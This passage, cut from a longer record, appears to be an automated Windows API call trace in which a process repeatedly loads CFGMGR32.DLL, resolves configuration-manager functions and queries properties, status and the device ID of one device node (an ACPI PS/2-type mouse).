(hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.690] malloc (_Size=0x18) returned 0x196ef0d1a60 [0205.690] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.696] malloc (_Size=0x48) returned 0x196ef0fbae0 [0205.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b74c6d2, dwHighDateTime=0x1d9eb0c)) [0205.697] SetEvent (hEvent=0x248) returned 1 [0205.698] SetEvent (hEvent=0x248) returned 1 [0205.699] free (_Block=0x196ef0fbae0) [0205.699] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.816] malloc (_Size=0x48) returned 0x196ef0fb630 [0205.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b87d6d0, dwHighDateTime=0x1d9eb0c)) [0205.824] SetEvent (hEvent=0x248) returned 1 [0205.841] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.841] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.841] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.841] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.842] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.842] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.842] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.842] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.842] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.842] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.843] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.843] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.843] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.843] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.843] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.845] malloc (_Size=0x18) returned 0x196ef0d1de0 [0205.845] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.846] malloc (_Size=0x48) returned 0x196ef0fb220 [0205.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b8c9c36, dwHighDateTime=0x1d9eb0c)) [0205.846] SetEvent (hEvent=0x248) returned 1 [0205.850] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.850] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.854] malloc (_Size=0x18) returned 0x196ef0d1d00 [0205.854] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.855] malloc (_Size=0x48) returned 0x196ef0fc120 [0205.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b8c9c36, dwHighDateTime=0x1d9eb0c)) [0205.855] SetEvent (hEvent=0x248) returned 1 [0205.861] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.861] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.865] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.865] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.865] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.865] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.865] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.866] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.866] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.866] malloc (_Size=0x18) returned 0x196ef0d1d40 [0205.866] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.872] malloc (_Size=0x48) returned 0x196ef0fb720 [0205.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b916131, dwHighDateTime=0x1d9eb0c)) [0205.873] SetEvent (hEvent=0x248) returned 1 [0206.001] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.001] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.005] malloc (_Size=0x18) returned 0x196ef0d1de0 [0206.005] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x3b, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0206.006] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0206.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5ba5d458, dwHighDateTime=0x1d9eb0c)) [0206.006] SetEvent (hEvent=0x248) returned 1 [0206.011] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.011] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.014] malloc (_Size=0x18) returned 0x196ef0d1b00 [0206.014] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x3b, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0206.014] malloc (_Size=0x48) returned 0x196ef0fb540 [0206.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5ba682b4, dwHighDateTime=0x1d9eb0c)) [0206.014] SetEvent (hEvent=0x248) returned 1 [0206.017] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.017] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.017] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.017] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.017] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.018] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.018] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.018] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.018] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.018] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.018] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.018] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.020] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0206.020] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0206.020] malloc (_Size=0x48) returned 0x196ef0fbae0 [0206.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5ba682b4, dwHighDateTime=0x1d9eb0c)) [0206.021] SetEvent (hEvent=0x248) returned 1 [0206.026] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.026] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.030] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0206.030] CM_Get_Device_IDA (in: dnDevInst=0x3c, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0F13\\4&22F5829E&0") returned 0x0 [0206.030] malloc (_Size=0x48) returned 0x196ef0fb900 [0206.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x5ba8e973, dwHighDateTime=0x1d9eb0c)) [0206.030] SetEvent (hEvent=0x248) returned 1 [0206.033] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.033] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.035] 